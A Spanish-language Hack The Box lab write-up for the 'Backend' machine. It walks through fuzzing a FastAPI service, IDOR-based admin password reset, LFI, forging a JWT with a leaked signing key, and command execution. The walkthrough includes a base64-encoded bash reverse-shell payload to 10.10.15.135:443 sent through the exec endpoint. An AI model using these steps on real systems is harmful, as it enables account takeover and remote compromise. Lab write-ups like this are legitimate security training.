Post

Write Up - Hack The Box - Backend

Write Up - Hack The Box - Backend

Screenshot0

Resumen de la máquina

Esta máquina presenta una infraestructura basada en una API (FastAPI) que expone diversos endpoints. La explotación comienza con la enumeración de rutas ocultas mediante fuzzing, lo que revela vulnerabilidades de IDOR. Tras escalar privilegios a nivel de API mediante el secuestro de la cuenta de administrador, se descubre un LFI y un RCE condicionado por una variable de depuración en el token JWT.

Heramientas utilizadas:

nmap wfuzz burpsuite jwt_tool

Reconocimiento:

El escaneo inicial revela un servicio web en el puerto 22,80 asociado al dominio backend.htb.

Enumeración y explotación de vulnerabilidades:

Esta maquina requiere a una enumeración exhaustiva

1
2
wfuzz -c --hc=404 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 http://backend.htb/FUZZ
wfuzz -c --hc=404,422 --hh=4 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 http://backend.htb/api/v1/user/FUZZ

endpoints interesantes

1
2
3
4
5
6
7
8
/docs
/api
/api/v1
/api/v1/user
/api/v1/user/1  /api/v1/user/01 /api/v1/user/001
/api/v1/admin
/api/v1/admin/file

Probamos con POST

1
wfuzz -c -X POST --hc=405,404  -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 http://backend.htb/api/v1/user/FUZZ

Encontramos

1
2
/api/v1/user/login 
/api/v1/user/singup

Enumeración de usuarios via IDOR

Screenshot1

Campos requeridos para loggearse

Screenshot2

Registramos usuario en el endpoint que encontramos anteriormente

1
curl -X POST "http://backend.htb/api/v1/user/signup" -H "Content-Type: application/json" -d '{"email":"foo2@bar.com","password":"foo"}'

Nos logeamos

1
curl "http://backend.htb/api/v1/user/login" -d "username=foo@bar.com&password=foo"

Screenshot3

Establecemos el access token a la funcionalidad de burpsuite match and replace para que cada solicitud que realicemos use el token

Screenshot4

Ahora tenemos acceso a la api Fast Api donde obtenemos acceso a diferentes funcionalidades.

La primera que hacemos es obtener la user flag

Screenshot5

La siguiente funcionalidad que llama la atencion es actualizar la contraseña donde introduciremos el guid del usuario que encontramos anteriormente + la nueva contraseña

Screenshot6

Screenshot7

Obtenemos el token del administrador

1
curl "http://backend.htb/api/v1/user/login" -d "username=admin@htb.local&password=foo123"

Cambiamos el token establecido anteriormente en el match & replace de burpsuite

Ahora tenemos acceso a nuevas funcionalidades, destacamos dos:

  • LFI en /api/v1/admin/file
  • command execution en /api/v1/admin/exec donde es tener el campo debug=true

Screenshot8

leemos el archivo /proc/self/environ el cual almacena las variables de entorno del proceso que lo está consultando

Screenshot9

Screenshot10

Lo descargamos y formateamos

1
curl file:///home/ari/Descargas/response_1769381983740.json | jq '.file' -r > main.py

Screenshot11

Screenshot12

con jwt_tool añadimos el campo debug= true

1
python3 jwt_tool.py 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzcwMDg5NTY1LCJpYXQiOjE3NjkzOTgzNjUsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.GMdNhbWtHX9O-DaL89_0hYq_tCBpTrONPC4eBM7JBgo' -T -S hs256 -p 'SuperSecretSigningKey-HTB'

Screenshot13

Ahora en el endpoint /api/v1/admin/exec/whoami podemos ejecutar comandos dentro del sistema. Nos enviamos una reverse shell

1
2
3
echo -n 'bash -i >& /dev/tcp/10.10.15.135/443 0>&1' | base64 -w 0;echo
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xMzUvNDQzIDA+JjE=
http://backend.htb/api/v1/admin/exec/echo%20YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xMzUvNDQzIDA+JjE=|base64%20-d|bash

Screenshot14

Escalada de privilegios:

La escalada de privilegios de esta maquina se basa simplemente en leer un .log

Screenshot9

This post is licensed under CC BY 4.0 by the author.